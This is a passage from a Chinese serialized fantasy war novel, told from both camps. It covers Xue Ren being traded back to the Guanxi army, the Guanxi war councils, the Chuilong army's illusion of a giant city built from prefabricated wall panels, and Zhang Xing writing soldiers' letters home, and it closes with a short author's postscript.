“首席说的是,儿郎们都是好儿郎!”韩二郎腾的一下站起身来。“这么好的军士,只要多打两仗,马上就会比对面的府兵更强!如何能嫌弃到他们?!” 这话点到某些人是一回事,但情真意切外加冠冕堂皇也是真的,引得许多头领一起喝彩,张行也立即鼓掌认可。 旋即,这位首席又继续鼓励道:“还有一件事,我也是刚刚看缴获看出来的,他们的装备其实不如我们。” 周围人难免诧异。 徐师仁也肃然道:“未见到他们装备哪里虚弱。” “不是虚弱,而是我看了许多缴获,除了特定精锐外,关西军寻常军士身上几乎没有装饰。”张行正色道。“往好了说,这是他们务实,但咱们都是军伍里的人,如何不晓得,只要一支兵马有好胜心,有打仗的念想,便总想着让自己衣甲区别于他人,要更鲜亮一些……诸位,要么是他们的经济根底没有咱们稳当,要么是军士严刑峻法不得伸张。” “不错!” “就是这个意思!” “这就对了!” “其实不止是根底,只这一战,咱们后勤跟援军应该也比他们利索!” “越往后越好打!” 院中气氛终于热烈起来。 且不提张行如何搞“十胜十败”临场激发士气,另一边,被打断腿捆着双臂的薛仁躺在踏白骑位于温城城西的“宿舍”内却是百转回肠……他,一直很兴奋。 没错,薛仁一直很兴奋。 他兴奋于今日自己的越众而出,一跃而登堂**为中郎将,乃至于堂堂国主当场夺了另一位中郎将的薛字旗以成自己先锋之实,从此名震于关西;也兴奋于自己反复冲杀,破阵压将,酣畅淋漓;甚至兴奋于自己最后那凌空一箭……哪怕是没有射死射伤那位首席以成奇功,可换来三位宗师与大宗师,也同时是天下最有权势二人为他亲身对抗,也足以让他兴奋莫名! 甚至现在,被打折了腿,安置在这里,他同样兴奋! 只想着待会张行过来劝降,若是只给个头领,自己便要迟疑几日再答应,若是给个大头领,那自己就现在答应……然后都要求对方先不要声张,允许自己回河东老家取家眷……届时,若是头领,就一去不复返,直入关西大军营中;而若是大头领,便与妻子商议一下,再做定夺。 当然,这种兴奋没有持续太久,他就更兴奋了,因为外面还在嘈杂忙碌呢,尉迟融便黑着脸来拖他了——用一个大红披风加绳索从大腿上捆住住他,然后从头顶上反兜住身体,便直接拖着披风离开了房子,两侧七八个踏白骑跟着,也不帮忙抬一下的。 对此,薛仁当然能够理解尉迟融的无礼,张首席这么早召见自己,明显是求贤若渴,而这黑厮与自己作战了一下午,多有追索不及,后来还撤回去了,必然恨自己入骨,此时抓住最后时机报复也属寻常。 这辈子最后一点苦罢了,自己难道没吃过苦?马上自己就是大头领了!自登堂**再到一方重臣,竟只在一日之内! 带着这种兴奋,薛仁察觉到自己被拖拽出了城,被扔到了一辆驴车上,被驱赶着穿过因为战事变得崎岖复杂的战场,碾过带着血腥气的洼地与叮当作响的甲兵,然后随着一些明显不耐的交谈发生,他忽然间就意识到了一件事情——自己被换回了关西军中! 明明算是好事,但薛仁却觉得浑身冰冷,随着车轮吱吱扭扭的声音交汇,他从牛车上挣扎起来,靠着肩膀耸动侧起身子,努力去看对面车上之人——那是一个明显受了伤,且因为失血而面色发白的黜龙军将领,此时靠在车上,同样来看自己,却神色萎顿。 似乎有些印象,却并不晓得根底。 但无论如何,薛仁都不理解,什么样的人物,值得用自己这种万中无一的勇将来换? 黜龙帮如何这般不识英雄? 披风被解开,绳索被割断,薛仁努力坐了起来,望着毫不迟疑背身而走的黜龙帮众人,他实在是没有忍住,扭头向身后骑在马上的将军发问:“那人是谁,如何轻易换的我?” 马上的将军,也就是白横秋心腹大将刘扬基长子、中郎将刘义实了,自然觉得对方无礼,但到底晓得此人得了皇帝青睐,也不好计较,便闷声回复:“冯惮,长乐冯氏的五郎,今日阵中被我们这边谁射伤了腿,最后一波前线动摇时抓到的。” 晓得是区区手下败将,却偏偏是个名门之后,薛仁扶着车轼的双手干脆气得抖了起来。 这种情况,一直到了灯火通明的中军大帐方才渐渐消除——白皇帝亲自下来,一边勉励称赞他今日表现,一边用真气扶正他的断骨,然后亲眼看着军医包扎夹板不算,还找了一位长生真气的凝丹高手助他润养腿伤,继续旁听会议。 没错,关西军这里,也在开会。 “刚刚说到哪儿了?”照顾完薛仁后,白横秋堂堂大宗师,竟一时有些疲态。 “哦,说到阵型。”束手而立,冷眼旁观了一场的白横元回过神来,赶紧接口道。“我今日在中军看的清楚,咱们其实是个锋矢阵,确实也攻出去了,但不能说黜龙军就是被动挨打,因为人家其实是个鹤翼阵,就是不停变阵防守的路数……从这个道理来说,黜龙贼其实非常务实,一开始来势汹汹,但早就晓得自己兵弱,又因为是平地,所以做了这个阵型。只是,他们开局那个把戏做的太大,咱们吃了一亏,让我们忽略了他的阵型,后续方才无功而返。” “那你的意思是什么?”白横秋蹙眉问道。 “自然是要调整阵型。”白横元正色道。“鹤翼阵最惧阵型伸张不开,只要我们能越过他们的大阵,遣一支别动兵马攻其侧翼,便不会再出现今日锋矢入阵却不能破的局面……” “黜龙贼下一阵还会是鹤翼阵吗?”司清河略显不解。 “只要他们还是以防守为主,鹤翼阵的可能还是很大的。”做解释的是白立本,但他也提出了自己的疑问。“只是别动队如何伸展呢?战场就这么宽,沁水到大河之间而已,而且他们也有防备,那个刘黑榥一直带着足足四个营的骑兵在侧翼游弋。” “那就简单了,要么也集中骑兵,当面击破对方的骑兵,靠着骑兵的胜势完成侧翼包抄……要么,利用我们掌握石山与河内郡城的优势,从沁水对岸发兵,攻其不备,他们在安昌必然有足够的浮桥,就从那里渡河回来,完成侧击。”白横元言之凿凿。 “道理上是通的,但还是有些问题。”刘扬基捻须来道。“绕道的话,路程长、动静大,很难不被发现,只要发现了咱们,人家一把火烧了浮桥难道算个事?而若是当面骑兵相决,似乎妥当,但地方太狭窄,便是速速击败了对方骑兵,又能真切到对方侧翼?沁水内里,北面有安昌城做支点不说,眼瞅着黜龙军马上就要起大寨,到时候更没有侧击的余地。” “刘将军的话也有道理,但事到如今难道不打吗?”白横元嗤笑道。“咱们不大获全胜,如何能逼张三贼动手?张三贼不动手,如何引出陛下神威,落子以定天下?!” 刘扬基也笑:“白总管这话说的,好像我不愿意打一般,我不愿意打,全家二十三口男丁一起来这里作甚?这不是要找到最好的法子吗?” “我自然知道刘将军的忠勇,但眼下局面,一来战场局促,二来黜龙贼绝非是易与之辈,不能总想着求全责备了。”白横元顿了一顿,恳切来言。 中军大帐这里也瞬间安静了下来,倒是刘扬基明显不以为然:“照这么说,咱们今日难道是败了?非要改弦易辙?” 白横元肃然道:“老刘!不是说我们败了,而是对方虽然在劣势,却极有自知之明,守的妥当,我怕再这么打下去,只是占便宜,却不能真正定胜负,到时候不能建功,白白出来一回。” 刘扬基也干脆表明了态度:“那我与白总管意见相反,咱们既占了便宜,就这么打便是,何必冒险?真要是栽了,灰头土脸的就是咱们了。” 这话乍一听很有道理,只是立场不同而已,但其实透着古怪,因为白横元给出方案的同时也给出了理由,也就是这次出战的总体胜负……他作为中军指挥,要为这一次关西军大举出轵关负责的,不能十万大军出来什么都没有就回去了,那样的话总体上来说就是关西军无功而返;可相对应的,刘扬基却没有回应这个核心问题,只是强调占便宜,不免让人觉得虚浮。 甚至不少人本能怀疑,这是刘扬基没有捞到中军指挥,心中不忿,趁机在这里跟白横元呛气呢。 然而问题在于,上面还坐着一位大宗师的皇帝呢,而且这位皇帝之前做了几十年的臣子,关陇内里摸爬滚打几十年的出身,他难道不懂这些道道……可为什么,为什么这位明察五千里的陛下竟然没有表态呢? 没有支持白横元,也没有呵斥刘扬基,就是坐在那里神色阴沉,若有所思。 下面的人也不是没有想法和态度的,可眼见如此,却都收敛起来。 似乎是意识到气氛不对,白横秋扫视了帐中诸人一圈,最后将目光落在还躺在斜榻上的年轻人身上:“如何,薛将军可有想法?” 薛仁愣了一下,才反应过来是在说自己,赶紧挣扎坐起身来,拱手以对:“末将以为,可以发别动队袭对方侧后,末将愿意束马为先锋!” 白横秋摇头大笑,引得其余人都陪笑:“如何能让你束马作战?你舍得朕也舍不得……且休整一二,腿好了再上战场,等你在再上战场,必与你正经的三千甲骑,剩下的五十骑伏龙卫也与你做军官。” 薛仁再三谢恩,心中也的确感激涕零。 至于其余陪笑诸将,早早敛容来看,个个心中感慨——看来白皇帝也找到自己的摩云金翅大鹏了。 可能是薛仁进来之前就讨论过许久,也可能是刚刚结束了一场大战并不着急定下下一战的方略,很快,今晚的会议就随着这个僵局结束了。 众将散去,薛仁自去休整,白横秋则留在自己的中军大帐内摆开了一盘棋——这倒不是无聊,而是说随着他的修为日益加深,尤其是大宗师的境地彻底稳固,他的弈术渐渐就有了类似于冲和道长扔木棍一样的神异,让他可以对已有的信息进行梳理,从而思考、判断出一些东西。 当然,他到底不是神仙,没法对不知情的讯息加以讨论,更不能凭空猜度人心。 譬如这一次,一开战便陷入疑难,便是他低估了黜龙军的实力以及司马正的决心。 且说,今天刘扬基的表态是没问题的,甚至是顺理成章的,因为早在这一战开打之前,刘扬基就私下找到过他反对出兵汲郡,转而建议出武关,或者干脆去弘农……一句话,避开黜龙军主力,尝试强行吞并东都。 理由也很直接,作为参与了入关前对黜龙军突袭战的一员,而且是损失最惨重的一位大将,刘扬基认定了黜龙军大势难当。用这厮的话来说就是,捣那一下不成,再来碰的时候就注定东齐西魏的格局,就要不停地打!不打个五六次十万**战,死上几个宗师、几十个成丹凝丹,几十万个好汉,是不可能倾覆局势的,想要一战建功则是痴人说梦。 换句话说,刘扬基非但是认定了黜龙军难打,而且是非常难打,那么与其如此,不如先避开黜龙军的锋芒,从黜龙军不能及的方位夺取东都。 先打弱的,整合完力量,再来碰强的。 而回到眼下,这一战后这厮的意思也很明显,既然已经认识到黜龙军的强力,那就别多想了,就是尽量赚便宜就行了,最好是对峙个十天半月,意思一下,就转回河南去找东都的麻烦。 怎么说呢? 抛开刘扬基有被黜龙帮打怕了的因素,就目前来看,他还真猜对了。 黜龙军确实难打,这几乎使得白横秋通过击溃黜龙军继而瓦解、震慑东都军的构想一上来便落空。 正想着呢,白横秋忽然停止了自我相弈,而是放下棋子,撤下棋盘,并让亲卫上了两杯茶水……茶水泡好,一人被引到跟前,恭敬下拜行礼,却正是白氏宗族中唯一一个一开始便随他起兵的大将白立本。 白立本行礼完毕,按照对方要求坐下,喝了一口温度正合适的茶水,便立即放下,然后隔着桌案正色来言:“陛下,有件事情,刚刚大庭广众之下委实不好说,但为人臣、为军将,却又不能不说,可便是在这里说了,也还是要招嫌隙……” “那就说嘛。”白横秋不以为意道。“咱们君臣能起什么嫌隙?” “那好。”白立本肃然道。“陛下,黜龙军扩展到如此地步,却还足以抵挡我们,固然是他们纪律严明、将士敢战、军械齐全、后勤稳固的缘故,但除此之外,今日之战他们还有一个明显的优势……” “你是说踏白骑?”白横秋喟然反问。“今日朕确实不 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“回禀陛下,臣今日冲的猛,进入阵后,亲眼看见是将台上的人在指挥,后续在他们中军被夹碎的几军,都是将台上亲自指挥夹住的。”白立本认真道。“到此为止,或许还能归于雄伯南,乃至于说黜龙帮有一堆参军文书来做辅助,但后来我找俘虏问的清楚,一开始那一人三支箭的方略便是这徐大郎亲自推行的,包括全军的编制、后勤,都是他一力主持的大局,而雄伯南是素来不管具体军事,只做军纪与帮内处置的,可见徐大郎的这个军务总管兼大行台副指挥,乃是名副其实的……至于说归功文书与参军,那也是这个徐世英养的好参军与好文书才对。” 白横秋很明显听进去了,但却久久没有表态。 而白立本也不好再多说什么。 君臣二人相持片刻,白横秋忽然开口:“若是你来做这个中军指挥,能比白横元强吗?” 白立本连忙摇头:“臣殊无如此大军阵的经验,而且事到如今也不好临阵换帅的。” “那徐大郎就有经验了?”白横秋明显不满。 白立本迟疑了一下,低头道:“臣下知道陛下还是计较张三郎中午那话,可恕臣直言,黜龙帮确系人才辈出……臣下之所以觉得那徐大郎厉害,除了之前所言那些,不也有人家这般年轻,又是第一次指挥这般大军,却能做到如此地步的缘故吗?陛下,这个徐世英跟薛仁一样,都是个天纵之才!” 白横秋再度沉默了下去。 白立本更是头都不敢抬。 而不知道过了多久,忽然闻得这位大英皇帝开口:“我意已决,整备兵马,歇息三日,三日后再战,依旧以白横元为帅,以你领骑兵出沁水内侧,同时让韩长眉出沁水外侧,务必将军势伸张开来,让黜龙军南北不得兼顾!” 白立本只能应声。 当夜无话,翌日一早是更忙碌的不可开交,昨天到底是天黑,很多事情都要堆到眼下——大规模交换俘虏,清理战场,伤员进一步往后方转运。 这中间还出现了一个小插曲,黜龙军那边竟然主动派出了一支百余人的医疗部队,说是来自于淮上医院,愿意无偿为关西军诊治。 这让关西军上下极为震动,严词拒绝之余,却也议论纷纷。 有人觉得,黜龙帮这是在**,是在提醒关西军,他们身后还有两位大宗师没动呢!继而引发了内部的大讨论,有人埋怨起了韦胜机有名无实,总是跨不出最后一步,连白三娘都过不去,而太白峰的那位不知道为什么,又不动弹,同时更多的人则觉得皇帝对几位老宗师过于防备,先不让鱼皆罗来,让吐万长论来了又放在后营,以至于白白浪费战力……这打仗呢,要全力以对的! 但也有人觉得,**是**,但根本不是在示大宗师的威,毕竟到了大宗师这个份上,如果修行的念想不在同一条路上,怎么可能轻易上这种双方决死的战场?所以,千金教主就是在老老实实办医院,人家指望这个成神仙呢!荡魔卫大司命或许会上阵动手,因为现在看来,黜龙帮黜吞风君一事,应该是受邀而去,算荡魔卫欠黜龙帮的,所以他们受了黜龙军一个名号,也应该会帮黜龙帮照看河北老家……这就好像太白峰那位虽然也不会轻易出来,可也会帮大英这边看顾关西而已。 那么黜龙帮送来医生,其实只是想说,他们的后勤军医保障是充足的,充足到可以分出足足百余人的军医出来,以此来**,从而动摇关西军军心。 但也有人觉得,未必是**,而是一种小伎俩。 因为这些军医其实是千金教主的人,千金教主指望着这个成道呢,所以是真的两边都想救,而黜龙军则是玩欲擒故纵,利用千金教主的医院在他们治下的优势,把这些医生统一安置,看起来好像是黜龙军的医生一般……就是要这些医生被关西人忌惮,继而白白丧了好多儿郎性命,而黜龙军也能多百余人的军医。 就在军中中下层被这件事情所吸引的同时,已经定下计划的关西军高层们则在关注着对面黜龙军的另一个动作。 此时,黜龙军以及后续抵达的民夫正在大举修筑营寨,营寨极其完备,木栅、壕沟、分营通道、望楼、高台,虽然都没成型,但明显一应俱全……这当然不是好事,却是意料之中,实际上,关西军的营寨其实有过之而无不及,不然也不会让黜龙军抢到温县了。 不过,此时关西军高层格外注意的地方,也就是营寨往两侧大河、沁水河道的延伸地区,以及这些地区再往西的延伸地区,倒是没有多少动静,只是在堆砌人工土坡而已——这当然是一种预兆,似乎是准备建立一些望楼、箭橹之类的,乃至于有建立一些分寨,但委实还好,因为这种建筑并不能法阻挡大股部队,而分寨则需要中心大寨完成后才好去建。 到了第二日,就在关西军已经开始重新编制兵马的时候,一个不好的现象出现了,因为那些人工土坡上地方,虽然还没有立寨,却已经开始有人挖壕沟、堆鹿角了。 对此,关西军高层没有做任何多余的讨论,不是说白皇帝发脾气定下了方略,下面人就不敢吭声,而是说部队已经在准备中,明天军械分派完成,就要下战书,引诱对方主力后日再度出战了,这个时候壕沟、鹿角虽然麻烦,却也只能那样了,大不了到时下马搬开。 何况,如果真把黜龙军的骑兵打崩了,他们自己的留守民夫就不用帮着搬鹿角吗? 这种内里带着某种诡异平衡的沉默持续了一日,又过了一日,时间来到九月最后一天,早间下了一场小雨,关西军上下开始按照计划进行最后的人员调配与军械配置……也就是这一日,关西军的哨骑目睹了一场奇迹般的工程。 隔着十几里的距离而已,几乎算是当着关西军的面,黜龙军一夜之间建起了一座城池! 一座长达十数里,包裹了黜龙军全军的巨大城池! “胡扯!”正在亲自写战书的白横秋听完汇报,头也不抬便给出判断。“若是黜龙军修了一座城池……不是说不可能,而是朕不可能没有察觉……他们昨夜到现在确实在继续修建工事和营寨,但与前两日无二,也没用什么真气大阵的手段,如何便多了一座巨城?” 来报军官面色发白,不敢回复,只四下去看周围将领。 而白横秋察觉到什么,也放下了笔。 白立本会意,直接转身离开中军大帐,引百骑出营去了……不过小半个时辰,他便仓促折返。 “怎么说?”白横秋面色冷峻,因为就在白立本亲自去侦查的这半个时辰内,又有十几批斥候汇报来到他跟前,都说修了大城。 “是个障眼法。”白立本看的清楚,回答也干脆,但即便是他也明显有些失神。“却是个了不得的障眼法。” 白横秋听到这里,再也维持不住,径直起身往帐外而去,因为即便是障眼法,他也无法理解……来到帐外,他便有所察觉,不由惊愕,待率领诸多高级将领驰出营寨,抵达大前日战斗时将台之上,到了这里,便是寻常凝丹也能轻易从视觉上察觉到对面的“巨城”! 然后纷纷看向白立本,希望他能说清楚,确保这只是个障眼法。 “是版筑。”白立本晓得要立即安抚众将,看到白横秋没有阻拦后,赶紧出言。“后方准备好的版筑,很薄,不过一尺宽,里面夯土,上下左右钉上木板,就好像箱子一般,从后方运送到这里,直接像栅栏一样立起来……他们前两日修的缓坡、壕沟和栅栏不是乱修的,只要把版筑压上去,远远望去,明明只是分层的壕沟与栅栏,却利用坡度让上下之间咋一看连成了一片,宛若一道巨大的城墙,两侧都是如此,中间是以温城为主的大寨,还能再连起来,远远望去,可不宛若是一座巨城一般?” 众人听闻解释,晓得是怎么回事,却无一人开口说什么宽慰之语,更没有人嘲笑黜龙军只会玩小把戏。 实际上,已经有人反思了。 “照理说,这只是个把戏。”过了片刻,还是刘扬基黑着脸开了口。“就好像他们那一人三支箭一般可笑……但真的可笑吗?那一人三支箭让他们的新兵射死我们多少精锐军士?还有这个,下午雨散,营内士卒看到这个,会不会胆寒?明日我们的骑兵侧击还怎么侧击?往版筑上撞吗?这些倒也罢了,真正让我心神不安的是,他们能在这个时候,把这么多版筑运过来是什么意思?说明人家处心积虑,早就把这些东西放在仓库里,等着这一回呢!而且这么多版筑,之前要用多少时间准备?运到这里又要动员多少牲畜?!不要说民夫,民夫搬不动这些!” 这话夹枪带棒,却不知道是针对谁了。 “不光如此。”白立本低声道。“想到这个法子是一回事,有本身做这么多版筑是另一回事……可他们刚开始修建营寨时就有心为这些版筑做了预留,而且那些缓坡、壕沟、栅栏如何修的那么齐整,就不是什么土包子能做的了,必然有名匠指点。” “何稀来了。”有人插了句嘴。“必然是何稀来了,那个冯端也是他学生,土木的高手……” “说这些有什么用?”白横秋忽然释然了。“回去安抚军士,说清楚那是障眼法,明日之战暂缓便是。” 众人如释重负。 然而,一众高级将领刚要下将台,便见到十余骑自黜龙军大寨中过来,还举着这几日两军通用的白旗,也是不由蹙眉驻足。 而果然,那十余骑来到战场遗留的将台前,远远便喊:“关西军的兄弟留步,我家首席有战书给你们国主,正好带去!省的麻烦!” 众将相顾愕然,但还是是让一名年轻中郎将早早跃马而下,去接战书。 须臾片刻,战书送到白皇帝手中,这位大宗师就立在小雨中打开文书,看了片刻,似乎是觉得自己有些眼花,抬头看了看远端的“巨城”,然后再度低头来看,看了一会,确定了内容后,终于勃然大怒:“小儿辈欺我太甚!” 说着,竟将战书砸在了下方的泥窝里,然后转身上马,扬长而归,周围亲卫和低阶将领纷纷跟随。 倒是刘扬基资格老,乃是从容低头将战书捡起来,看了一下,才传与了白立本,并与白横元几人做了解释:“黜龙贼增兵了!何稀确实来了,谢鸣鹤来了,单通海来了……张三贼将新来的大小头领按照修为、资历以及本营战绩经历依次列了个表,并将撤换走的营头也做了介绍……还说他不会欺负老弱,全程只用三十个战兵营与我们交战……最后才约了明日开战。” 周围人听得发愣,只白横元苦笑一声:“这是要动摇咱们!巨城是动摇寻常士卒,这个战书是要动摇我们这些领兵的!” “可不是嘛。”刘扬基背着手,又扭头看了眼细雨中的巨城,若有所思。“可不是嘛,就是要动摇咱们。” PS:感谢JackChenYL老爷的第二盟……感激不尽。 顺便加个讣告:家里的猫咪小瑜去世了,小脑脑疝,对猫咪来说基本上是绝症,折腾了许多天才确诊,不想让她再痛苦,于是安乐加火化下葬了,小瑜活着的时候是个好猫咪,我很想念她。 第八十六章 风霜行(5) 十月一日,理论上进入到了冬日,但实际上天气没有丝毫的变化,甚至在前一天小雨的踪迹也消失的无影无踪。 这一日,黜龙军如四日前那般早早埋锅造饭,大军缓缓而出,依旧如之前那般列阵,乃是骑兵单翼突出,剩余二十余营列了个鹤翼之阵,于刚刚成规模的营寨前铺陈开来。 但是,关西军竟闭门不出。 黜龙军立即发中军三营,也就是刚刚达成的一个行军总管军向前,分别是兵种复合度极高但偏肉搏的王雄诞营、以**为主极擅突击的阚棱营、同样是复合度较高但偏远程投射的贾闰士营……三营兵马突出阵前,王雄诞营居前,阚棱营居中却又明显偏向一侧,贾闰士营居后,立即占领了之前一战中关西军的中军阵地,然后遣哨骑上前挥舞旗帜搦战。 而且是指名道姓,要薛挺、薛立、薛亮、薛万备、薛仁五个出来,说是只须三营,便能一口气杀绝对面姓薛的。 得亏薛万全、薛万年、薛万成三个降了黜龙帮的头领不在,否则这话喊出来不知道要出什么乱子。 当然,眼下没有出乱子,因为关西军紧闭营寨大门,拒不出战。 没过多久,沿着沁水突出的刘黑榥也察觉到不对,尝试自侧翼攻击关西军大营,却遭遇到了关西军的严密防守,几轮箭雨下来便也只能放弃,只等待身后军令。 这一次出战,黜龙军经验更丰富,准备的早,列阵完成的时间也早,而等了好一阵子,眼见到了中午,黜龙军高层便彻底掌不住了。 雄伯南落在张行身后,即刻开口:“首席,徐总管问你,是撤还是假装放松诱敌?” “他怎么说?”张行没有直接回复。 “他觉得咱们没有这种大兵团诱敌的经验,怕弄巧成拙,引起混乱,不如妥当一些,撤兵再论其他。”徐世英果然有自己想法。 “天王知道我怎么想的吗?”张行望着前方宽阔如城池的营寨,头也不回。 “如何?”雄伯南是真的好奇……这次战事开启以来,他总有一种使不出力气的感觉,所以想摸清头绪。 “我想打进去。”张行以手指向西面远端。“大前日咱们顶住了,这一战其实也就稳住了,接下来就是相互逼迫、消耗……可越如此,越不能保守,而且咱们的兵确实需要历练……所以,他们避战,我们就打进去!现在撤军,回营打造**车、石砲,发文给老柴,让他送火油、柴草!” 雄伯南醒悟,立即腾起紫雾离开。 过了片刻,中军开始密集传递军令,然后旗帜依次有序摇晃,小规模的锣声随之而起,伴随着这些,黜龙军交替掩护,全军后撤。 便是准备去摸河内城的刘黑榥也在得了军令后狼狈钻回大营。 这一日,竟然是连交战都无。 回到营中,张行召开会议,即刻确定了补充工程器械、进一步完善工程设施,同时辅助外交攻势的方略。 然后接连发布军令,要求军队转入轮换状态:即三分之一部队执行防御、侦查等军事任务;三分之一部队协助民夫和后备营执行工程器械与营区加固任务;三分之一部队轮休、娱乐。 这对基层军士来说当然是好事,但也有人不开心。 比如说单通海单龙头,好不容易获得成建制轮换机会亲自领兵过来,而且是听说这边己方“败了”,想要展示他黜龙军第一大将姿态的,却是这个局面,自然不甘。 而另外一个不开心的,却是谢鸣鹤。 没错,虽然这边说了,要以外交手段为辅助,可谢鸣鹤却只待了一日就立即动身了……南面白三娘来信,需要一个人为她在后方处理交涉江南事务,黜龙帮里难道还能有谁比谢鸣鹤更合适? 实际上,代替谢鸣鹤负责外交的,赫然是阎庆,而代替谢鸣鹤之前代替的靖安台的,赫然是钱唐。 阎庆是东都商人出身,钱唐是前魏靖安台出身,哪怕是有些人觉得这是张首席在利用战时给自己心腹铺路,也都无话可说……毕竟专业和出身对口。 而在将任务全都托付下去,包括正常军务也都甩手给了雄、徐、马后,张行则开始了自己最擅长的工作。 也就是组织娱乐放松活动。 首先当然是运动会了,这玩意百试不爽,何况军中此时唯一可行的就是这玩意……夺陇赛场被专门从繁忙的营地中空出来,还是一连搞了四个,射箭、掷枪、马术、披甲奔跑、阵列行进,各种比赛也都应运而出,各种各样的彩头也都挂出来,金银钱帛乃至于改善伙食的肉食、装备优先选择权、专项相亲会全都有。 运动会摆起来的同时,便是带着文书们下到营头里,去慰问军士,跟他们拉呱,替他们写信。 “老大叫水生,老二就不要叫震英了……要我说,老大改成震北,老二叫震西,你看咋样?”张行放下笔,对着案前坐着的人苦口婆心。 “首席说啥就是啥。”坐在张首席对面的中年疤脸队将迟疑了一下,方才点头,似乎是对震英和水生都有些不舍。 张行无可奈何,只能赶紧点头,在信上做了说明。 而那名中年队将还在继续输出:“还有件事,让俺老婆小心那些个雇工,这些人又不是往年头里**的奴契,个个滑着呢!少不了偷吃懒做,我不在家,她一个人要小心,尤其是马上冬天了,按照规矩十月中那些人也要散了回家,须防着他们顺东西,最好让大舅子过来,看着人走……发散钱也不能给太多。” 张行点点头,抬笔就写,身后立着的下营文书,也就是新科进士李义署,眼睛都看直了……因为他亲眼看见张首席答应的好好的,结果抬笔就变成要这队将老婆在家里对人家雇工好些,有人借钱千万不要收利息,十月冬散归家时让大舅子帮趁着务必每人送一套冬衣。 然而,张首席丝毫不慌,脸不红心不跳,写完之后复又抬头来问:“现在家里地不少吧?” “哪有多少,就是**顷。”疤脸队将立即警惕起来。 “那你多少是个地主啊!”张行略显惊异。 “都是从济阴开始,一路靠军功攒起来的。”队将赶紧摆手。 “反正比我强。”张行正色道。“我军功也不少,却一亩地都没有。” “首席还要什么地?等你做了国主,这天下都是你的!”队将明显急了。 “胡扯!若是这般,现在是魏国主做国主,天下是他的?河北都不是他的!”张行言之凿凿。 队将愈发着急,赶紧来言:“这能一样吗?” “你说啥?” “我说首席,我的授田一亩一亩都有来由的!”队将也明显一惊。 “算了,我不是想问你这些。”张行摆手道。“我是想问你,若是这般授下去,乡里的地满了,没地授了怎么办?” 队将松了口气,倒是正色起来:“这个真想过,若是为了几亩地换到人生地不熟的地方,比方换到北地,我是不能受的,给多一半也不愿意去,但乡里人口多起来了,稳住不动了,也是实话……所以首席,我说实话,真要是这一代孩子长大了,本乡地满了,少授一些,比方以后再授地,按照军功给以往的八成,乃至于五成,我也是愿意的。” 张行点点头,继续来问:“本地只能给五成,换到关西给八成去不去呢?” 队将认真想了一下,还是摇头:“不去!不是我不服从帮里指示……首席,真到了那个时候,你们下军令,我自然无话可说,但要我自己选,我老婆孩子如今都在谯郡,我父母衣冠冢也立在那里,我亲旧、营里同列都在周边,还挨着千金教主的医院,还是不想走。” “可总得赏罚分明。”张行也叹了口气。“到时候没地了……或者说眼下,咱们在这里大战,又一时进展不得,到时候总得拿点什么赏赐军功?” 队将干笑一声,没有接话。 张行迟疑了一下,继续来问:“要是你们队将一层也跟着头领还有我们这些人走,怎么样?” “跟着头领首席走是啥意思?”队将明显不解。 “就是算军功还授田的话,领兵头领,还有我跟几位龙头,怕是要占不知道多少地,到时候必然出乱子,所以从去年就开始了,这次干脆全不再授田,转而给铺子。”张行正色解释道。 “给铺子也行呀!”队将眼睛一亮,然后赶紧来问。“但不好管吧?地都这么难,何况是铺子,还要两边跑……” “我们也不管。”张行看着对方笑道。“我们如何能有心思管铺子?都是算股本,放给曹总管曹大姐来经营。” 队将恍然,却又迟疑起来。 张行也不再继续讨论,而是拈起笔来继续问:“还有啥要写的?” “也没啥了,还有最后一个事……请首席跟我婆娘说一声,年节前去大虎那几家时要多添些,时候不一样了,现在有钱有粮了,还拿以前的礼数不像话。” “行台那边的抚恤没差吧?” “若是差了,我第一句话便是与首席讲这个了……公家是公家的,俺们兄弟私下是私下的。” “还有吗?” “真没啥了,不过首席既然来了也难得,麻烦再给家里婆娘捎句话……我要是阵前**,她可不能改嫁,两个孩子养大也不能改嫁,不然我队中兄弟会找她。” “这话你们公母自家没说话,非得现在说?” “这不是首席来了吗?”那队将摊手道。“她知道这是首席写的信,便被吓到了,且不敢起心思的。” “那我不写这个。”张行将笔拍在案上,指着对方鼻子忽然就发作起来。“古往今来,东齐西魏南陈,哪个不鼓励寡妇改嫁?淮右盟的义子军不准老婆改嫁,被我写信骂没了,今日再给你写这个算什么?你若是不想干,去东夷去,那里还能让小老婆殉葬呢!” 队将被骂了个狗血喷头,到底不敢再装憨,只能束手立起身来。 张行点了点桌案,继续来问:“还有没有言语?” “没了。”这厮这次老实了。 “画押写名,封信。”张行推了一下眼前的书信。 那队将赶紧趴下来在信的末尾画了三个圈,还带了个小尾巴。桌案后方的李义署则低头上前,协助对方将信封好,描好地址,然后亲手摆到箩筐里,这才松了一口气……他一开始还觉得这活有些掉价,只是不能离了首席而已,可如今跟着这位首席写了几次信,他就已经心惊肉跳了。 就这样,几封信写完,也颇骂了几人夸了几人,也杂七杂八问了许多话,下午竟已经过半,张首席这才离开营地,往充当指挥、后勤中枢的温城城内里而去,中途遇到一群夺陇赛得胜归来的军士,还不忘夸奖几句,说明日上午他要去看比赛的。 回到城内,入了之前的县衙,此地气氛却与城外截然不同,最起码留在这里真正做事的几位统帅都还有统帅的样子,断不会去跟某些人一样不务正业。 实际上,这里的气氛简直有些凝重。 “在说什么?”来到后院,张行先去枯掉的葡萄藤下的盆架子上洗了脸、擦了手,这才好奇来问。 “一开始是说韩引弓的事情,阎分管负责外交,自然把注意力放在了东都,可他以为,韩引弓这个人首鼠两端,如今又孤悬在大营之外,未必不能尝试一下。”许敬祖赶紧解释,同时瞥了眼跟着张首席进来的李义署。“后来,大家讨论开来,便干脆说到了此战首尾上……” “此战首尾?”张行略显诧异。 “就是此战到底如何能胜?”徐大郎也开口道。“不说其他各处,只说眼下此地。” 张行摇了摇头,也没吭声,也不知道是什么态度。 但意外的是,院中的黜龙军指挥中枢精英们,竟然没有什么意外。 “我们也觉得此战想要全胜,未免艰难。”马围身为王翼部分管,当仁不让,虽然这话说的有些泄气,却还是得说。“便是咱们这边军事上渐渐转为攻势,可司马正的态度摆在那里……真到了一方败退要走,另一方要追而成大功的时候,司马正怕也真会动手阻拦胜的一方,到时候怕还是没个结果。” “不止如此。”徐大郎继续说道。“这只是大略,具体到如何战而胜之,其实也艰难……别看他们闭门不战,我们还要作势攻打他们,好像局势扭转了,但其实不过是我们的版筑起了效果,他们害怕底层军士动摇罢了……真打起来,估计还是我们吃亏多一点。” 